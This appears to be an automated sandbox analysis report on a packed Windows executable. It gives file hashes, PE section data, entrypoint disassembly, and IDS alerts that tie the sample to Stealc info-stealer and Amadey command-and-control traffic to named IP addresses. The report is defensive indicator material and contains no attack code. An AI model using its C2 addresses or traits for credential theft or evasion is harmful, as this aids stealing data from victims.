Preview:	)]}'.["",["astrid casting live action","disney dreamlight valley","juan soto ny mets","peter cancro","aew full gear 2024 card","christmas tree lighting millennium park","youtube gaming recap","new york knicks vs utah jazz"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"google:entityinfo":"Cg0vZy8xMXE5dGQ3NXY2EgpWaWRlbyBnYW1lMssOZGF0YTppbWFnZS9qcGVnO2Jhc2U2NCwvOWovNEFBUVNrWkpSZ0FCQVFBQUFRQUJBQUQvMndDRUFBa0dCd2dIQmdrSUJ3Z0tDZ2tMRFJZUERRd01EUnNVRlJBV0lCMGlJaUFkSHg4a0tEUXNKQ1l4Sng4ZkxUMHRNVFUzT2pvNkl5cy9SRDg0UXpRNU9qY0JDZ29LRFF3TkdnOFBHamNsSHlVM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOLy9BQUJFSUFFQUFRQU1CSWdBQ0VRRURFUUgveEFBY0FBQUJCQU1CQUFBQUFBQUFBQUFBQUFBRUF3VUdCd0FCQWdqL3hBQTFFQUFDQVFJRUJBTUdCQWNCQUFBQUFBQUJBZ01FRVFBRkVpRUdFekZCTWxGeEJ5SmhZb0dSSXlSQ1VoVXpvYkhCMGZBVS84UUFHZ0VBQWdNQkFRQUFBQUFBQUFBQUFBQUFBZ01BQVFRR

Chrome Cache Entry: 536

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	175021
Entropy (8bit):	5.5519862292821776
Encrypted:	false
SSDEEP:	3072:kEBR0Kx4gWiUIzT2Zu2AuhZNsWGUHUylZBTftnn2N2DIWHUm1CBT46mG3bXnejYR:kKR0oWiUIzy42AuXNsWGUHLlZBTftn2b
MD5:	6ECBEC06F6245882E6D9659E66022263
SHA1:	F86FC301A3851511557DF798AD2BAD2AA4659946
SHA-256:	F7885470D82B8357E5AD03205AC0885DD9FD6F965E550D746627E5E35D4CF66B
SHA-512:	F2EDD978C9DC289B82DC0956503659B92C3B621DD1001DB2C5C34ACA01FFCDE7F84A6B24ED0B30A1EA6B15D937B6DD93FAE1DB97DCE26E9F9FCE1A3F5C43A8DD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US._3uvDuX1Bhg.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTus2ZfPv70D5bJuGT4XDgi-VtNqjg"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 537

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 538

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132989
Entropy (8bit):	5.435564592383781
Encrypted:	false
SSDEEP:	3072:fgkXyPqO7UX1Hme9kZbs4Voc5uSnXqwQ2i6o:fLyWFHrp4Voc5uSnawQ8o
MD5:	45D4EB7723F1F241E594C39E514785A8
SHA1:	9AC1C91895E8BA326888602D9698AB5FCE321524
SHA-256:	B455909EB38A324FDF300B5CB91A1B5F305DC118E56718380FA098E03A2BEFC3
SHA-512:	FF7332DE140DDD0C48E2D5413A44F82F40693DA7C531763B9176E179CF09D176B28EEDFB299B471C0F86FA737770E992128D0B91FB8B073FF1D10A9196C97B23
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 539

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 540

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.946313825579526
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'809'920 bytes
MD5:	d3fb62af150353d3cb05f84d328d5601
SHA1:	98be84b348beaf1abb2a9327c5918322e840a274
SHA256:	3a0642019f4c38e2b2b89e00492dfa809723534f7753ce480e01482ca191b950
SHA512:	428034b57853c7b0a9e1fd47590f9816a53ef497cad88bba5bf1094a12089c2022ce75be1cfe760da9342ef8d3adb853d70d01fe05f2cc6622e9c6decb91d0aa
SSDEEP:	49152:6wSCX3j6yHj2PA/8KcVFGpXudww4uoUcb1:6XS3j+AxAoXuww4uoU
TLSH:	048533923328916EC66C0B71D53FEBC71B1C7B06E416222D77C561AECA53B1825F1AEC
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa98000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F3EDCFF1AAAh
haddps xmm3, dqword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop ds
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax*4], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	cfa1212ecdae7c0b744831ea0217540b	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x2b0	0x200	98ad57479bb67abd747314908382ae28	False	0.794921875	data	6.0589540028052875	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2ab000	0x200	99b330bd6816274d527c78f18aa6909f	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
zpancmjk	0x4f7000	0x1a0000	0x1a0000	03363f856095ab468b5a0adfc15c73ec	False	0.9945702185997596	data	7.9542717479853655	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
xdlmjycw	0x697000	0x1000	0x400	25f264d8b8c83049d40af1115e6e3372	False	0.78515625	data	6.13665771115917	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x698000	0x3000	0x2200	4111b9be858cba43003f0b196a6501c3	False	0.080078125	DOS executable (COM)	1.0627655741627706	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x696d00	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-24T04:20:19.463028+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49718	185.215.113.206	80	TCP
2024-11-24T04:20:19.961828+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49718	185.215.113.206	80	TCP
2024-11-24T04:20:20.082512+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.6	49718	TCP
2024-11-24T04:20:20.420450+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49718	185.215.113.206	80	TCP
2024-11-24T04:20:20.751409+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.6	49718	TCP
2024-11-24T04:20:22.199976+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49718	185.215.113.206	80	TCP
2024-11-24T04:20:22.942248+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49718	185.215.113.206	80	TCP
2024-11-24T04:20:45.078177+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49835	185.215.113.206	80	TCP
2024-11-24T04:20:47.177246+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49835	185.215.113.206	80	TCP
2024-11-24T04:20:48.552796+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49835	185.215.113.206	80	TCP
2024-11-24T04:20:49.729921+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49835	185.215.113.206	80	TCP
2024-11-24T04:20:53.677139+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49835	185.215.113.206	80	TCP
2024-11-24T04:20:54.915429+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49835	185.215.113.206	80	TCP
2024-11-24T04:21:01.346686+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49964	185.215.113.16	80	TCP
2024-11-24T04:22:07.592416+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	50126	185.215.113.43	80	TCP
2024-11-24T04:22:12.392230+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50140	31.41.244.11	80	TCP
2024-11-24T04:22:12.392230+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	50140	31.41.244.11	80	TCP
2024-11-24T04:22:18.199378+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	50134	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 24, 2024 04:20:06.797548056 CET	443	49711	20.198.119.84	192.168.2.6
Nov 24, 2024 04:20:06.799034119 CET	49711	443	192.168.2.6	20.198.119.84
Nov 24, 2024 04:20:06.799122095 CET	49711	443	192.168.2.6	20.198.119.84
Nov 24, 2024 04:20:06.799180984 CET	49711	443	192.168.2.6	20.198.119.84
Nov 24, 2024 04:20:06.918703079 CET	443	49711	20.198.119.84	192.168.2.6
Nov 24, 2024 04:20:06.918737888 CET	443	49711	20.198.119.84	192.168.2.6
Nov 24, 2024 04:20:06.918773890 CET	443	49711	20.198.119.84	192.168.2.6
Nov 24, 2024 04:20:07.358469963 CET	443	49711	20.198.119.84	192.168.2.6
Nov 24, 2024 04:20:07.405636072 CET	49711	443	192.168.2.6	20.198.119.84
Nov 24, 2024 04:20:07.587917089 CET	443	49711	20.198.119.84	192.168.2.6
Nov 24, 2024 04:20:07.589077950 CET	49711	443	192.168.2.6	20.198.119.84
Nov 24, 2024 04:20:07.708914995 CET	443	49711	20.198.119.84	192.168.2.6
Nov 24, 2024 04:20:08.148869991 CET	443	49711	20.198.119.84	192.168.2.6
Nov 24, 2024 04:20:08.202492952 CET	49711	443	192.168.2.6	20.198.119.84
Nov 24, 2024 04:20:10.275429010 CET	49712	443	192.168.2.6	20.198.119.84
Nov 24, 2024 04:20:10.275492907 CET	443	49712	20.198.119.84	192.168.2.6
Nov 24, 2024 04:20:10.275564909 CET	49712	443	192.168.2.6	20.198.119.84
Nov 24, 2024 04:20:10.276194096 CET	49712	443	192.168.2.6	20.198.119.84
Nov 24, 2024 04:20:10.276216030 CET	443	49712	20.198.119.84	192.168.2.6
Nov 24, 2024 04:20:10.436867952 CET	49673	443	192.168.2.6	173.222.162.64
Nov 24, 2024 04:20:10.436961889 CET	49674	443	192.168.2.6	173.222.162.64
Nov 24, 2024 04:20:10.702496052 CET	49672	443	192.168.2.6	173.222.162.64
Nov 24, 2024 04:20:12.768673897 CET	443	49712	20.198.119.84	192.168.2.6
Nov 24, 2024 04:20:12.768749952 CET	49712	443	192.168.2.6	20.198.119.84
Nov 24, 2024 04:20:12.772583008 CET	49712	443	192.168.2.6	20.198.119.84
Nov 24, 2024 04:20:12.772599936 CET	443	49712	20.198.119.84	192.168.2.6
Nov 24, 2024 04:20:12.772967100 CET	443	49712	20.198.119.84	192.168.2.6
Nov 24, 2024 04:20:12.778723955 CET	49712	443	192.168.2.6	20.198.119.84
Nov 24, 2024 04:20:12.778877020 CET	49712	443	192.168.2.6	20.198.119.84
Nov 24, 2024 04:20:12.778886080 CET	443	49712	20.198.119.84	192.168.2.6
Nov 24, 2024 04:20:12.779073000 CET	49712	443	192.168.2.6	20.198.119.84
Nov 24, 2024 04:20:12.823350906 CET	443	49712	20.198.119.84	192.168.2.6
Nov 24, 2024 04:20:13.329536915 CET	443	49712	20.198.119.84	192.168.2.6
Nov 24, 2024 04:20:13.329642057 CET	443	49712	20.198.119.84	192.168.2.6
Nov 24, 2024 04:20:13.329726934 CET	49712	443	192.168.2.6	20.198.119.84
Nov 24, 2024 04:20:13.329967976 CET	49712	443	192.168.2.6	20.198.119.84
Nov 24, 2024 04:20:13.330004930 CET	443	49712	20.198.119.84	192.168.2.6
Nov 24, 2024 04:20:14.702541113 CET	49713	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:14.702590942 CET	443	49713	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:14.702656984 CET	49713	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:14.703000069 CET	49713	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:14.703011036 CET	443	49713	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:15.117505074 CET	49710	443	192.168.2.6	40.126.53.10
Nov 24, 2024 04:20:15.117625952 CET	49710	443	192.168.2.6	40.126.53.10
Nov 24, 2024 04:20:15.123558044 CET	49714	443	192.168.2.6	40.126.53.10
Nov 24, 2024 04:20:15.123606920 CET	443	49714	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:15.123696089 CET	49714	443	192.168.2.6	40.126.53.10
Nov 24, 2024 04:20:15.124042034 CET	49714	443	192.168.2.6	40.126.53.10
Nov 24, 2024 04:20:15.124062061 CET	443	49714	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:15.131598949 CET	49715	443	192.168.2.6	40.126.53.10
Nov 24, 2024 04:20:15.131625891 CET	443	49715	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:15.131788969 CET	49715	443	192.168.2.6	40.126.53.10
Nov 24, 2024 04:20:15.132030964 CET	49715	443	192.168.2.6	40.126.53.10
Nov 24, 2024 04:20:15.132040977 CET	443	49715	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:15.141000032 CET	49716	443	192.168.2.6	40.126.53.10
Nov 24, 2024 04:20:15.141041040 CET	443	49716	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:15.141094923 CET	49716	443	192.168.2.6	40.126.53.10
Nov 24, 2024 04:20:15.141236067 CET	49716	443	192.168.2.6	40.126.53.10
Nov 24, 2024 04:20:15.141248941 CET	443	49716	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:15.237319946 CET	443	49710	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:15.237341881 CET	443	49710	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:15.237353086 CET	443	49710	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:15.237366915 CET	443	49710	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:15.237379074 CET	443	49710	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:15.732096910 CET	443	49710	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:15.732121944 CET	443	49710	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:15.732198000 CET	49710	443	192.168.2.6	40.126.53.10
Nov 24, 2024 04:20:15.736238003 CET	443	49710	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:15.736327887 CET	443	49710	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:15.736386061 CET	49710	443	192.168.2.6	40.126.53.10
Nov 24, 2024 04:20:15.744678020 CET	443	49710	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:15.744784117 CET	443	49710	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:15.744869947 CET	49710	443	192.168.2.6	40.126.53.10
Nov 24, 2024 04:20:15.753185034 CET	443	49710	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:15.753272057 CET	443	49710	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:15.753377914 CET	49710	443	192.168.2.6	40.126.53.10
